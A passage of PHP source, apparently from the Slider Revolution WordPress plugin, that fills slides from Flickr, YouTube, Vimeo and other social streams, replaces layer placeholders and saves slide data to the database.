$this->get_val($this->post_data, 'id'); $this->set_param('title', $this->get_val($this->post_data, 'title')); $this->set_param(array('publish', 'state'), 'published'); if($this->get_val($this->params, array('seo', 'set'), false) && $this->get_val($this->params, array('seo', 'type'), 'regular') == 'regular'){ $link = 'http://flic.kr/p/'.$this->base_encode($this->get_val($this->post_data, 'id')); $this->set_param(array('seo', 'link'), str_replace(array('%link%', '{{link}}'), $link, $this->params['seo']['link'])); } if(in_array($this->get_val($this->params, array('bg', 'type')), array('html5', 'image'), true)){ //if image is choosen, use featured image as background //facebook check which image size is choosen $img_sizes = $this->get_all_image_sizes('flickr'); $img_res = $this->get_val($this->params, array('bg', 'imageSourceType'), reset($img_sizes)); $this->image_id = $this->get_val($this->post_data, 'id'); if(!isset($img_sizes[$img_res])) $img_res = key($img_sizes); $is = @array( 'original' => $this->get_val($this->post_data, 'url_o'), 'large' => $this->get_val($this->post_data, 'url_l'), 'medium-800' => $this->get_val($this->post_data, 'url_c'), 'medium-640' => $this->get_val($this->post_data, 'url_z'), 'medium' => $this->get_val($this->post_data, 'url_m'), 'small-320' => $this->get_val($this->post_data, 'url_n'), 'small' => $this->get_val($this->post_data, 'url_s'), 'thumbnail' => $this->get_val($this->post_data, 'url_t'), 'square' => $this->get_val($this->post_data, 'url_sq'), 'large-square' => $this->get_val($this->post_data, 'url_q') ); $this->image_url = $this->get_val($is, $img_res, ''); if(empty($this->image_url)){ foreach($is as $img_res){ $this->image_url = $img_res; if(!empty($img_res)) break; } } $this->image_thumb = $this->get_val($is, 'thumbnail', $this->image_thumb); $this->image_url = (empty($this->image_url)) ? RS_PLUGIN_URL.'public/assets/assets/sources/flickr.png' : $this->image_url; $this->image_url = (is_ssl()) ? str_replace("http://", "https://", $this->image_url) : $this->image_url; $this->image_filename = basename($this->image_url); } $this->post_data = apply_filters('revslider_slide_initByFlickr_post', $this->post_data, $slider_id, $this); $this->set_layers_by_stream($slider_id, 'flickr', $additions); //replace placeholders in layers } /** * init the data for youtube * @since: 5.0 * @before: RevSliderSlide::initByYoutube(); */ private function init_by_youtube($slider_id, $additions){ $this->post_data = apply_filters('revslider_slide_initByYoutube_pre', $this->post_data, $slider_id, $additions, $this); //set some slide params $snippet = $this->get_val($this->post_data, 'snippet'); $resource = $this->get_val($snippet, 'resourceId'); $link_raw = ($additions['yt_type'] == 'channel') ? $this->get_val($this->post_data, 'id') : $this->get_val($snippet, 'resourceId'); $link = $this->get_val($link_raw, 'videoId'); $this->set_param(array('bg', 'youtube'), $link); //set video for background video if($this->get_val($this->params, array('seo', 'set'), false) && $this->get_val($this->params, array('seo', 'type'), 'regular') == 'regular'){ if($link !== '') $link = '//youtube.com/watch?v='.$link; $this->set_param(array('seo', 'link'), str_replace(array('%link%', '{{link}}'), $link, $this->params['seo']['link'])); } switch($additions['yt_type']){ case 'channel': $this->id = $this->get_val($this->post_data, array('id', 'videoId')); break; case 'playlist': $this->id = $this->get_val($resource, 'videoId'); break; } $this->id = ($this->id == '') ? 'not-found' : $this->id; $this->set_param('title', $this->get_val($snippet, 'title')); $this->set_param(array('publish', 'state'), 'published'); $bg_type = $this->get_val($this->params, array('bg', 'type')); if(in_array($bg_type, array('trans', 'image', 'streamyoutube', 'streamyoutubeboth', 'youtube', 'streamvimeo', 'streamvimeoboth', 'vimeo'), true)){ //if image is choosen, use featured image as background //facebook check which image size is choosen $img_sizes = $this->get_all_image_sizes('youtube'); $img_res = $this->get_val($this->params, array('bg', 'imageSourceType'), reset($img_sizes)); $this->image_id = $this->get_val($resource, 'videoId'); $thumbs = $this->get_val($snippet, 'thumbnails'); $is = array(); if(!empty($thumbs)){ foreach($thumbs as $name => $vals){ $is[$name] = $this->get_val($vals, 'url'); } } if(!isset($img_sizes[$img_res])) $img_res = key($img_sizes); $this->image_url = $this->get_val($is, $img_res, ''); $this->image_url = (empty($this->image_url)) ? $this->get_val($is, 'default', '') : $this->image_url; $this->image_thumb = $this->get_val($is, 'medium', $this->image_thumb); $this->image_url = (empty($this->image_url)) ? RS_PLUGIN_URL.'public/assets/assets/sources/youtube.png' : $this->image_url; $this->image_url = (is_ssl()) ? str_replace('http://', 'https://', $this->image_url) : $this->image_url; if($this->get_param(array('thumb', 'customThumbSrc'), '') === ''){ $this->set_param(array('thumb', 'customThumbSrc'), $this->image_thumb); } $this->image_filename = basename($this->image_url); } $this->post_data = apply_filters('revslider_slide_initByYoutube_post', $this->post_data, $slider_id, $additions, $this); //replace placeholders in layers: $this->set_layers_by_stream($slider_id, 'youtube', $additions); } /** * init the data for vimeo * @since: 5.0 * @before: RevSliderSlide::initByVimeo(); */ private function init_by_vimeo($slider_id, $additions){ $this->post_data = apply_filters('revslider_slide_initByVimeo_pre', $this->post_data, $slider_id, $additions, $this); $this->id = $this->get_val($this->post_data, 'id'); $this->set_param(array('publish', 'state'), 'published'); $this->set_param('title', $this->get_val($this->post_data, 'title')); if($this->get_val($this->params, array('seo', 'set'), false) && $this->get_val($this->params, array('seo', 'type'), 'regular') == 'regular'){ $link = $this->get_val($this->post_data, 'url'); $this->params['seo']['link'] = str_replace(array('%link%', '{{link}}'), $link, $this->params['seo']['link']); } $this->set_param(array('bg', 'vimeo'), $this->get_val($this->post_data, 'url')); if($this->get_val($this->params, array('bg', 'imageFromStream'), false) === true && in_array($this->get_val($this->params, array('bg', 'type')), array('trans', 'image', 'streamvimeo', 'streamvimeoboth', 'vimeo'), true)){ //if image is choosen, use featured image as background //vimeo check which image size is choosen $img_sizes = $this->get_all_image_sizes('vimeo'); $img_res = $this->get_val($this->params, array('bg', 'imageSourceType'), reset($img_sizes)); $img_res = (!isset($img_sizes[$img_res])) ? key($img_sizes) : $img_res; $is = array(); $this->image_id = $this->get_val($this->post_data, 'id'); foreach($img_sizes as $handle => $name){ $is[$handle] = $this->get_val($this->post_data, $handle); } $this->image_url = $this->get_val($is, $img_res, ''); $this->image_url = (empty($this->image_url)) ? RS_PLUGIN_URL.'public/assets/assets/sources/vimeo.png' : $this->image_url; $this->image_url = (is_ssl()) ? str_replace("http://", "https://", $this->image_url) : $this->image_url; $this->image_thumb = $this->get_val($is, 'thumbnail', $this->image_thumb); $this->image_filename = basename($this->image_url); } $this->post_data = apply_filters('revslider_slide_initByVimeo_post', $this->post_data, $slider_id, $additions, $this); //replace placeholders in layers: $this->set_layers_by_stream($slider_id, 'vimeo', $additions); } /** * prepare and fill the stream data **/ public function set_stream_data($text, $attr, $stream_type, $additions = array(), $is_action = false){ $img_sizes = $this->get_all_image_sizes($stream_type); $_img_sizes = $this->get_all_image_sizes(); $_img_s = array(); if(!empty($_img_sizes)){ foreach($_img_sizes as $k => $v){ $v = str_replace(' ', '_', strtolower($v)); $_img_s[$v] = $v; } } $img_sizes = array_merge($img_sizes, $_img_sizes, $_img_s); $text = apply_filters('revslider_slide_set_stream_data_pre', $text, $attr, $stream_type, $additions, $is_action, $img_sizes); $title = ($stream_type == 'twitter' && $is_action === false) ? $this->add_wrap_around_url($this->get_val($attr, 'title')) : $this->get_val($attr, 'title'); $excerpt = ($stream_type == 'twitter' && $is_action === false) ? $this->add_wrap_around_url($this->get_val($attr, 'excerpt')) : $this->get_val($attr, 'excerpt'); $content = ($stream_type == 'twitter' && $is_action === false) ? $this->add_wrap_around_url($this->get_val($attr, 'content')) : $this->get_val($attr, 'content'); $text = str_replace(array('%title%', '{{title}}'), $title, $text); $text = str_replace(array('%excerpt%', '{{excerpt}}'), $excerpt, $text); $text = str_replace(array('%description%', '{{description}}'), $excerpt, $text); $text = str_replace(array('%alias%', '{{alias}}'), $this->get_val($attr, 'alias'), $text); $text = str_replace(array('%content%', '{{content}}'), $content, $text); $text = str_replace(array('%link%', '{{link}}'), $this->get_val($attr, 'link'), $text); $text = str_replace(array('%date_published%', '{{date_published}}', '%date%', '{{date}}'), $this->get_val($attr, 'date'), $text); $text = str_replace(array('%date_modified%', '{{date_modified}}'), $this->get_val($attr, 'date_modified'), $text); $text = str_replace(array('%author_name%', '{{author_name}}'), $this->get_val($attr, 'author_name'), $text); $text = str_replace(array('%num_comments%', '{{num_comments}}'), $this->get_val($attr, 'num_comments'), $text); $text = str_replace(array('%catlist%', '{{catlist}}'), $this->get_val($attr, 'catlist'), $text); $text = str_replace(array('%catlist_raw%', '{{catlist_raw}}'), $this->get_val($attr, 'catlist_raw'), $text); $text = str_replace(array('%taglist%', '{{taglist}}'), $this->get_val($attr, 'taglist'), $text); $text = str_replace(array('%likes%', '{{likes}}'), $this->get_val($attr, 'likes'), $text); $text = str_replace(array('%retweet_count%', '{{retweet_count}}'), $this->get_val($attr, 'retweet_count'), $text); $text = str_replace(array('%favorite_count%', '{{favorite_count}}'), $this->get_val($attr, 'favorite_count'), $text); $text = str_replace(array('%views%', '{{views}}'), $this->get_val($attr, 'views'), $text); $arrMatches = array(); preg_match_all("/{{content:\w+[\:]\w+}}/", $text, $arrMatches); foreach($arrMatches as $matched){ foreach($matched as $match) { //now check length and type $meta = str_replace("{{content:", "", $match); $meta = str_replace("}}","",$meta); $meta = str_replace('_REVSLIDER_', '-', $meta); $vals = explode(':', $meta); if(count($vals) !== 2) continue; //not correct values $vals[1] = intval($vals[1]); //get real number if($vals[1] === 0 || $vals[1] < 0) continue; //needs to be at least 1 if($vals[0] == 'words'){ $metaValue = explode(' ', strip_tags($content), $vals[1]+1); if(is_array($metaValue) && count($metaValue) > $vals[1]) array_pop($metaValue); $metaValue = implode(' ', $metaValue); }elseif($vals[0] == 'chars'){ $metaValue = mb_substr(strip_tags($content), 0, $vals[1]); }else{ continue; } $text = str_replace($match, $metaValue, $text); } } switch($stream_type){ case 'facebook': foreach($img_sizes as $img_handle => $img_name){ if($additions['fb_type'] == 'album'){ $text = str_replace(array('%featured_image_url_'.$img_handle.'%', '{{featured_image_url_'.$img_handle.'}}', '%image_url_'.$img_handle.'%', '{{image_url_'.$img_handle.'}}'), $this->get_val($attr, array('img_urls', $img_handle, 'url')), $text); $text = str_replace(array('%featured_image_'.$img_handle.'%', '{{featured_image_'.$img_handle.'}}', '%image_'.$img_handle.'%', '{{image_'.$img_handle.'}}'), $this->get_val($attr, array('img_urls', $img_handle, 'tag')), $text); }else{ $text = str_replace(array('%featured_image_url_'.$img_handle.'%', '{{featured_image_url_'.$img_handle.'}}', '%image_url_'.$img_handle.'%', '{{image_url_'.$img_handle.'}}'), $this->get_val($attr, array('img_urls', 'url')), $text); $text = str_replace(array('%featured_image_'.$img_handle.'%', '{{featured_image_'.$img_handle.'}}', '%image_'.$img_handle.'%', '{{image_'.$img_handle.'}}'), $this->get_val($attr, array('img_urls', 'tag')), $text); } } break; case 'youtube': case 'vimeo': case 'twitter': case 'instagram': case 'flickr': foreach($img_sizes as $img_handle => $img_name){ $text = str_replace(array('%featured_image_url_'.$img_handle.'%', '{{featured_image_url_'.$img_handle.'}}', '%image_url_'.$img_handle.'%', '{{image_url_'.$img_handle.'}}'), $this->get_val($attr, array('img_urls', $img_handle, 'url')), $text); $text = str_replace(array('%featured_image_'.$img_handle.'%', '{{featured_image_'.$img_handle.'}}', '%image_'.$img_handle.'%', '{{image_'.$img_handle.'}}'), $this->get_val($attr, array('img_urls', $img_handle, 'tag')), $text); } break; } return apply_filters('revslider_slide_set_stream_data_post', $text, $attr, $stream_type, $additions, $is_action, $img_sizes); } /** * replace layer placeholders by stream data * @since: 5.0 * @before: RevSliderSlide::setLayersByStreamData(); */ private function set_layers_by_stream($slider_id, $stream_type, $additions = array()){ $a = apply_filters('revslider_slide_setLayersByStreamData_pre', array('layers' => $this->layers, 'params' => $this->params), $slider_id, $stream_type, $additions, $this); $this->params = $this->get_val($a, 'params'); $this->layers = $this->get_val($a, 'layers'); $additions['lazyload'] = ($this->get_slider_param($slider_id, array('general', 'lazyLoad'), false) != 'none') ? true : false; $attr = $this->return_stream_data($stream_type, $additions); if(!empty($this->layers)){ foreach($this->layers as $key => $layer){ $text = $this->get_val($layer, 'text'); $text = apply_filters('revslider_mod_stream_meta', $text, $slider_id, $stream_type, $this->post_data); //option to add your own filter here to modify meta to your likings $layer['text'] = $this->set_stream_data($text, $attr, $stream_type, $additions); //set link actions to the stream data $actions = $this->get_val($layer, array('actions', 'action')); if(!empty($actions)){ foreach($actions as $a_k => $action){ $ilink = $this->get_val($action, 'image_link'); if(!empty($ilink)){ $ilink = $this->set_stream_data($ilink, $attr, $stream_type, $additions, true); $this->set_val($layer, array('actions', 'action', $a_k, 'image_link'), $ilink); } } } $layer_type = $this->get_val($layer, 'type', 'text'); //TODO: Check Patrick if ( ( $layer_type === 'image' && $this->get_val($layer, array('media', 'imageFromStream'), false) === true ) || ( in_array($layer_type, array('shape', 'row', 'group'), true) && $this->get_val($layer, array('idle', 'bgFromStream'), false) === true ) ){ $featured_image_url = $this->get_val($attr, 'stream_image_url', ''); if(!empty($featured_image_url)){ $this->set_val($layer, array('media', 'imageUrl'), $featured_image_url); } } $this->layers[$key] = $layer; } } //set params to the stream data for($mi = 0; $mi < 10; $mi++){ $pa = $this->get_param(array('info', 'params', $mi, 'v'), ''); $pa = $this->set_stream_data($pa, $attr, $stream_type, $additions); $this->set_param(array('info', 'params', $mi, 'v'), $pa); } $param_list = array(array('attributes', 'alt'), array('attributes', 'class'), array('attributes', 'data')); //set params to the stream data foreach($param_list as $p){ $pa = $this->get_param($p, ''); $pa = $this->set_stream_data($pa, $attr, $stream_type, $additions); $this->set_param($p, $pa); } $a = apply_filters('revslider_slide_setLayersByStreamData_post', array('layers' => $this->layers, 'params' => $this->params), $slider_id, $stream_type, $additions, $this); $this->params = $this->get_val($a, 'params'); $this->layers = $this->get_val($a, 'layers'); } /** * returns the data of the selected stream **/ public function return_stream_data($stream_type, $additions = array()){ $img_sizes = $this->get_all_image_sizes($stream_type); $attr = array(); $attr = apply_filters('revslider_slide_return_stream_data_pre', $attr, $stream_type, $additions, $img_sizes); $ll = ($this->get_val($additions, 'lazyload', false) === true) ? ' rs-lazyload' : ''; $class = ' class="tp-rs-img'.$ll.'"'; switch($stream_type){ case 'facebook': if($additions['fb_type'] == 'album'){ $image_array = $this->get_val($this->post_data, 'images'); $this->image_url = isset($image_array[0]['source']) ? $image_array[0]['source'] : $this->get_val($this->post_data, 'picture', $this->image_thumb); $this->image_thumb = $this->get_val($this->post_data, 'picture', $this->image_thumb); }else{ $this->image_url = $this->get_val($this->post_data, 'full_picture', $this->image_thumb); $this->image_thumb = $this->get_val($this->post_data, 'picture', $this->image_thumb); } if($this->get_val($additions, 'fb_type') == 'album'){ $fb_img_thumbnail = $this->get_val($this->post_data, 'picture'); $image_array = $this->get_val($this->post_data, 'images'); $fb_img = isset($image_array[0]['source']) ? $image_array[0]['source'] : $this->get_val($this->post_data, 'picture'); $attr1 = array( 'title' => $this->get_val($this->post_data, 'name'), 'content' => $this->get_val($this->post_data, 'name'), 'link' => $this->get_val($this->post_data, 'link'), 'date' => $this->convert_post_date($this->get_val($this->post_data, 'created_time'), true), 'date_modified' => $this->convert_post_date($this->get_val($this->post_data, 'updated_time'), true), 'author_name' => $this->get_val($this->post_data, array('from', 'name')), 'likes' => intval($this->get_val($this->post_data, array('likes', 'summary', 'total_count'))), 'stream_image_url' => $fb_img, 'img_urls' => array( 'full' => array( 'url' => $fb_img, 'tag' => '' ), 'thumbnail' => array( 'url' => $fb_img_thumbnail, 'tag' => '' ) ) ); }else{ $fb_img_thumbnail = $this->get_val($this->post_data, 'picture'); $fb_img = $this->get_val($this->post_data, 'full_picture'); $attr1 = array( 'title' => $this->get_val($this->post_data, 'message'), 'content' => $this->get_val($this->post_data, 'message'), 'link' => $this->get_val($this->post_data, 'permalink_url'), 'date' => $this->convert_post_date($this->get_val($this->post_data, 'created_time'), true), 'date_modified' => $this->convert_post_date($this->get_val($this->post_data, 'updated_time'), true), 'author_name' => $this->get_val($this->post_data, array('from', 'name')), 'likes' => intval($this->get_val($this->post_data, array('likes', 'summary', 'total_count'))), 'stream_image_url' => $fb_img, 'img_urls' => array( 'full' => array( 'url' => $fb_img, 'tag' => '' ), 'thumbnail' => array( 'url' => $fb_img_thumbnail, 'tag' => '' ) ) ); } break; case 'twitter': $image_url_array = $this->get_val($this->post_data, 'media'); $image_url_large = $this->get_val($image_url_array, 'large'); $img = $this->get_val($image_url_large, 'media_url', ''); if($img == ''){ $entities = $this->get_val($this->post_data, 'entities'); $image_url_array = $this->get_val($entities, 'media'); if(is_array($image_url_array) && isset($image_url_array[0])){ $img = (is_ssl()) ? $this->get_val($image_url_array[0], 'media_url_https') : $this->get_val($image_url_array[0], 'media_url'); $image_url_large = $image_url_array[0]; } } if($img == ''){ $entities = $this->get_val($this->post_data, 'extended_entities'); $image_url_array = $this->get_val($entities, 'media'); if(is_array($image_url_array) && isset($image_url_array[0])){ $img = (is_ssl()) ? $this->get_val($image_url_array[0], 'media_url_https') : $this->get_val($image_url_array[0], 'media_url'); $image_url_large = $image_url_array[0]; } } $attr1 = array( 'title' => $this->get_val($this->post_data, 'full_text'), 'content' => $this->get_val($this->post_data, 'full_text'), 'link' => 'https://twitter.com/'.$this->get_val($additions, 'twitter_user').'/status/'.$this->get_val($this->post_data, 'id_str'), 'date' => $this->convert_post_date($this->get_val($this->post_data, 'created_at'), true), 'author_name' => $this->get_val($this->post_data, array('user', 'screen_name')), 'retweet_count' => $this->get_val($this->post_data, 'retweet_count', '0'), 'favorite_count'=> $this->get_val($this->post_data, 'favorite_count', '0'), ); if($img !== ''){ $w = $this->get_val($image_url_large, 'w', ''); $h = $this->get_val($image_url_large, 'h', ''); $attr1['stream_image_url'] = $img; $attr1['img_urls'] = array( 'large' => array( 'url' => $img, 'tag' => '' ) ); } break; case 'instagram': $caption = $this->get_val($this->post_data, array('edge_media_to_caption', 'edges', 0, 'node', 'text')); $attr1 = array( 'title' => $caption, 'content' => $caption, 'link' => 'https://www.instagram.com/p/'. $this->get_val($this->post_data, 'shortcode'), 'date' => $this->convert_post_date($this->get_val($this->post_data, 'taken_at_timestamp'), true), 'author_name' => $this->get_val($additions, 'instagram_user'), //$this->get_val($this->post_data, 'user_info', '') ); $inst_img = $this->get_val($this->post_data, 'display_url', ''); $inst_thumb = $this->get_val($this->post_data, 'thumbnail_src', ''); $attr1['img_urls'] = array(); if(!empty($inst_img)){ $attr1['stream_image_url'] = $inst_img; $attr1['img_urls']['original'] = array( 'url' => $inst_img, 'tag' => '' ); $attr1['img_urls']['original_size'] = array( 'url' => $inst_img, 'tag' => '' ); $attr1['img_urls']['large'] = array( 'url' => $inst_img, 'tag' => '' ); } if(!empty($inst_thumb)){ $attr1['stream_image_url'] = (!isset($attr1['stream_image_url'])) ? $inst_thumb : $attr1['stream_image_url']; $attr1['img_urls']['thumb'] = array( 'url' => $inst_thumb, 'tag' => '' ); $attr1['img_urls']['thumbnail'] = array( 'url' => $inst_thumb, 'tag' => '' ); } break; case 'flickr': $attr1 = array( 'title' => $this->get_val($this->post_data, 'title'), 'content' => $this->get_val($this->post_data, array('description', '_content')), 'date' => $this->convert_post_date($this->get_val($this->post_data, 'datetaken')), 'author_name' => $this->get_val($this->post_data, 'ownername'), 'link' => 'http://flic.kr/p/'.$this->base_encode($this->get_val($this->post_data, 'id')), 'views' => $this->get_val($this->post_data, 'views'), 'stream_image_url' => $this->get_val($this->post_data, 'url_o'), 'img_urls' => array( 'square' => array('url' => $this->get_val($this->post_data, 'url_sq'), 'tag' => ''), 'large-square' => array('url' => $this->get_val($this->post_data, 'url_q'), 'tag' => ''), 'thumbnail' => array('url' => $this->get_val($this->post_data, 'url_t'), 'tag' => ''), 'small' => array('url' => $this->get_val($this->post_data, 'url_s'), 'tag' => ''), 'small-320' => array('url' => $this->get_val($this->post_data, 'url_n'), 'tag' => ''), 'medium' => array('url' => $this->get_val($this->post_data, 'url_m'), 'tag' => ''), 'medium-640' => array('url' => $this->get_val($this->post_data, 'url_z'), 'tag' => ''), 'medium-800' => array('url' => $this->get_val($this->post_data, 'url_c'), 'tag' => ''), 'large' => array('url' => $this->get_val($this->post_data, 'url_l'), 'tag' => ''), 'original' => array('url' => $this->get_val($this->post_data, 'url_o'), 'tag' => '') ) ); break; case 'youtube': $attr1 = array( 'title' => $this->get_val($this->post_data, array('snippet', 'title')), 'excerpt' => $this->get_val($this->post_data, array('snippet', 'description')), 'content' => $this->get_val($this->post_data, array('snippet', 'description')), 'date' => $this->convert_post_date($this->get_val($this->post_data, array('snippet', 'publishedAt'))) ); if($this->get_val($additions, 'yt_type') == 'channel'){ $link_raw = $this->get_val($this->post_data, 'id'); $attr1['link'] = $this->get_val($link_raw, 'videoId'); if($attr1['link'] !== '') $attr1['link'] = '//youtube.com/watch?v='.$attr1['link']; }else{ $link_raw = $this->get_val($this->post_data, 'resourceId'); $attr1['link'] = $this->get_val($link_raw, 'videoId'); if($attr1['link'] !== '') $attr1['link'] = '//youtube.com/watch?v='.$attr1['link']; } $thumbs = $this->get_val($this->post_data, array('snippet', 'thumbnails')); $attr1['img_urls'] = array(); if(!empty($thumbs)){ foreach($thumbs as $name => $vals){ $attr1['stream_image_url'] = (!isset($attr1['stream_image_url'])) ? $this->get_val($vals, 'url') : $attr1['stream_image_url']; $attr1['img_urls'][$name] = array( 'url' => $this->get_val($vals, 'url'), ); switch($additions['yt_type']){ case 'channel': $attr1['img_urls'][$name]['tag'] = ''; break; case 'playlist': $attr1['img_urls'][$name]['tag'] = ''; break; } } } break; case 'vimeo': $attr1 = array( 'title' => $this->get_val($this->post_data, 'title'), 'excerpt' => $this->get_val($this->post_data, 'description'), 'content' => $this->get_val($this->post_data, 'description'), 'date' => $this->convert_post_date($this->get_val($this->post_data, 'upload_date')), 'likes' => $this->get_val($this->post_data, 'stats_number_of_likes'), 'views' => $this->get_val($this->post_data, 'stats_number_of_plays'), 'num_comments' => $this->get_val($this->post_data, 'stats_number_of_comments'), 'link' => $this->get_val($this->post_data, 'url'), 'author_name' => $this->get_val($this->post_data, 'user_name'), 'img_urls' => array() ); if(!empty($img_sizes)){ foreach($img_sizes as $name => $vals){ $attr1['stream_image_url'] = (!isset($attr1['stream_image_url'])) ? $this->get_val($this->post_data, $name) : $attr1['stream_image_url']; $attr1['img_urls'][$name] = array( 'url' => $this->get_val($this->post_data, $name), 'tag' => '' ); } } break; } $attr = (isset($attr1)) ? array_merge($attr, $attr1) : $attr; return apply_filters('revslider_slide_return_stream_data_post', $attr, $stream_type, $additions, $img_sizes); } /** * save layers to the database * @since: 5.0 * @before: RevSliderSlide::saveLayers() */ public function save_layers(){ global $wpdb; $table = ($this->static_slide) ? $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES : $wpdb->prefix . RevSliderFront::TABLE_SLIDES; $this->layers = apply_filters('revslider_slide_saveLayers', $this->layers, $this->static_slide, $this); $wpdb->update($table, array('layers' => json_encode($this->layers)), array('id' => $this->id)); } /** * set parameter * @since: 5.0 * @before: RevSliderSlide::set_param(); */ public function set_param($name, $value){ if(is_array($name)){ $params = &$this->params; foreach($name as $i => $key){ if(is_array($params)){ $params = &$params[$key]; }elseif(is_object($params)){ $params = &$params->$key; } } $params = $value; }else{ $this->params[$name] = $value; } } /** * get parameter from params array. if no default, then the param is a must! * before: RevSliderSlide::get_param() */ public function get_param($name, $default = ''){ if(!is_array($name)){ return $this->get_val($this->params, $name, $default); }else{ $a = $this->params; foreach($name as $k => $v){ $a = $this->get_val($a, $v, $default); } return $a; } } /** * save params to the database * @since: 5.0 * @before: RevSliderSlide::saveParams(); */ public function save_params(){ global $wpdb; $table = ($this->static_slide) ? $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES : $wpdb->prefix . RevSliderFront::TABLE_SLIDES; $this->params = apply_filters('revslider_slide_saveParams', $this->params, $this->static_slide, $this); $wpdb->update($table, array('params' => json_encode($this->params)),array('id' => $this->id)); } /** * save settigns to the database * @since: 6.0 */ public function save_settings(){ global $wpdb; $table = ($this->static_slide) ? $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES : $wpdb->prefix . RevSliderFront::TABLE_SLIDES; $this->settings = apply_filters('revslider_slide_save_settings', $this->settings, $this->static_slide, $this); /** * the slide will be saved, so remove the temp attribute if it exists * in order to not have it deleted on the next reload **/ if($this->get_val($this->settings, 'temp', false) === true){ unset($this->settings['temp']); } $wpdb->update($table, array('settings' => json_encode($this->settings)), array('id' => $this->id)); } /** * get children array * @before: RevSliderSlide::getArrChildren(); */ public function get_children(){ if($this->children === null){ $slider = new RevSliderSlider(); $slider->init_by_id($this->slider_id); $this->children = $slider->get_slide_children($this->id); } return apply_filters('revslider_slide_getArrChildren', $this->children, $this); } /** * create the slide (from image) * @before: RevSliderSlide::createSlide() */ public function create_slide($slider_id, $obj = '', $static = false, $id = false){ global $wpdb; $image_url = (is_array($obj)) ? $this->get_val($obj, 'url') : $obj; $image_id = (is_array($obj)) ? $this->get_val($obj, 'id') : null; //get max order $slider = new RevSliderSlider(); $slider->init_by_id($slider_id); $max_order = $slider->get_max_order(); $order = $max_order + 1; $params = array(); $settings = array('temp' => true); if(!empty($image_url)){ $params['bg'] = array(); $params['bg']['type'] = 'image'; $params['bg']['image'] = $image_url; if(!empty($image_id)) $params['bg']['imageId'] = $image_id; } $insert = array( 'params' => json_encode($params), 'slider_id' => $slider_id, 'layers' => '', 'settings' => json_encode($settings) ); if($id !== false) $insert['id'] = $id; if(!$static) $insert['slide_order'] = $order; $insert = apply_filters('revslider_slide_createSlide', $insert, $slider_id, $static, $this); $table = (!$static) ? RevSliderFront::TABLE_SLIDES : RevSliderFront::TABLE_STATIC_SLIDES; $done = $wpdb->insert($wpdb->prefix . $table, $insert); return ($done) ? $wpdb->insert_id : false; } /** * init a static slide * before: RevSliderSlide::initByStaticID() */ public function init_by_static_id($slide_id){ global $wpdb; $this->validate_numeric($slide_id, 'Slide ID'); $slide = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES." WHERE id = %d", $slide_id), ARRAY_A); $this->init_by_data($slide); } /** * initialize slide by the given data (database entry) * before: RevSliderSlide::initByData(); */ public function init_by_data($slide){ $slide = apply_filters('revslider_slide_init_by_data', apply_filters('revslider_slide_initByData', $slide)); $this->id = $this->get_val($slide, 'id'); $this->slider_id = $this->get_val($slide, 'slider_id'); $this->order = $this->get_val($slide, 'slide_order', ''); $this->params = $this->get_val($slide, 'params'); $this->params = (!is_array($this->params)) ? (array)json_decode($this->params, true) : $this->params; $this->layers = ($this->init_layer) ? $this->layers = json_decode($this->get_val($slide, 'layers'), true) : $this->get_val($slide, 'layers'); $this->layers = (empty($this->layers)) ? array() : $this->layers; $this->settings = $this->get_val($slide, 'settings'); $this->settings = (!is_array($this->settings)) ? (array)json_decode($this->settings, true) : $this->settings; $this->params['version'] = $this->get_val($this->settings, 'version', $this->get_val($this->params, 'version')); $this->image_id = $this->get_val($this->params, array('bg', 'imageId')); $image_resolution = $this->get_val($this->params, array('bg', 'imageSourceType'), 'full'); $image_url = $this->get_val($this->params, array('bg', 'image')); /** * fix for [{0:'a',1:'b'}] structures that can occur **/ $t_keys = array('duration', 'easeIn', 'easeOut', 'rotation', 'slots', 'transition'); foreach($t_keys as $tk){ $tlc = $this->get_val($this->params, array('timeline', $tk, 0)); if(is_object($tlc) || is_array($tlc)){ $a = array(); if(!empty($this->params['timeline'][$tk][0])){ foreach($this->params['timeline'][$tk][0] as $tkv){ $a[] = $tkv; } } $this->params['timeline'][$tk] = $a; } } //get image url and thumb url if($image_resolution !== 'full' || $image_url === ''){ if(!empty($this->image_id)){ $image_url = $this->get_url_attachment_image($this->image_id, $image_resolution); if(empty($image_url)){ $image_url = $this->get_val($this->params, array('bg', 'image')); $this->image_id = $this->get_image_id_by_url($image_url); if($this->image_id !== false){ $image_url = $this->get_url_attachment_image($this->image_id, $image_resolution); $this->set_val($this->params, array('bg', 'imageId'), $this->image_id); $this->save_params(); } } $this->image_thumb = $this->get_url_attachment_image($this->image_id, 'medium'); }else{ $this->image_id = $this->get_image_id_by_url($image_url); if($this->image_id !== false && $this->image_id !== null){ //save the image ID in the Slide Settings $this->set_val($this->params, array('bg', 'imageId'), $this->image_id); $this->save_params(); $image_url = $this->get_url_attachment_image($this->image_id, $image_resolution); } } } $image_url = (is_ssl()) ? str_replace('http://', 'https://', $image_url) : $image_url; $this->image_url = $image_url; $this->image_path = $this->get_image_path_from_url($this->image_url); $real_path = $this->get_content_path().$this->image_path; $this->image_path = (file_exists($real_path) == false || is_file($real_path) == false) ? '' : $this->image_path; $this->image_filename = basename($this->image_url); } /** * get all slides from given Slider for the library * @since: 6.0 **/ public function get_slides_for_library($slider_ids = array(), $get_static_slide = false){ global $wpdb; $slides = array(); if(!empty($slider_ids)){ foreach($slider_ids as $sid){ $cur_slides = $wpdb->get_results($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE slider_id = %s", $sid), ARRAY_A); if($get_static_slide === true){ $static_slide = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES ." WHERE slider_id = %s", $sid), ARRAY_A); if(!empty($static_slide)){ $static_slide['id'] = 'static_'.$static_slide['id']; $static_slide['static'] = true; $slides[] = $static_slide; } } if(!empty($cur_slides)){ foreach($cur_slides as $c_slide){ $slides[] = $c_slide; } } } } if(!empty($slides)){ $i = 1; foreach($slides as $key => $slide){ $_img = $this->get_val($slide, 'img'); if(!empty($_img)) $slides[$key]['img'] = $this->_check_file_path($slides[$key]['img'], true); $params = $this->json_decode_slashes($this->get_val($slide, 'params', array())); $params = (empty($params)) ? array() : $params; $slides[$key]['parent'] = $this->get_val($slide, 'slider_id'); $slides[$key]['installed'] = $this->get_val($slide, 'id'); 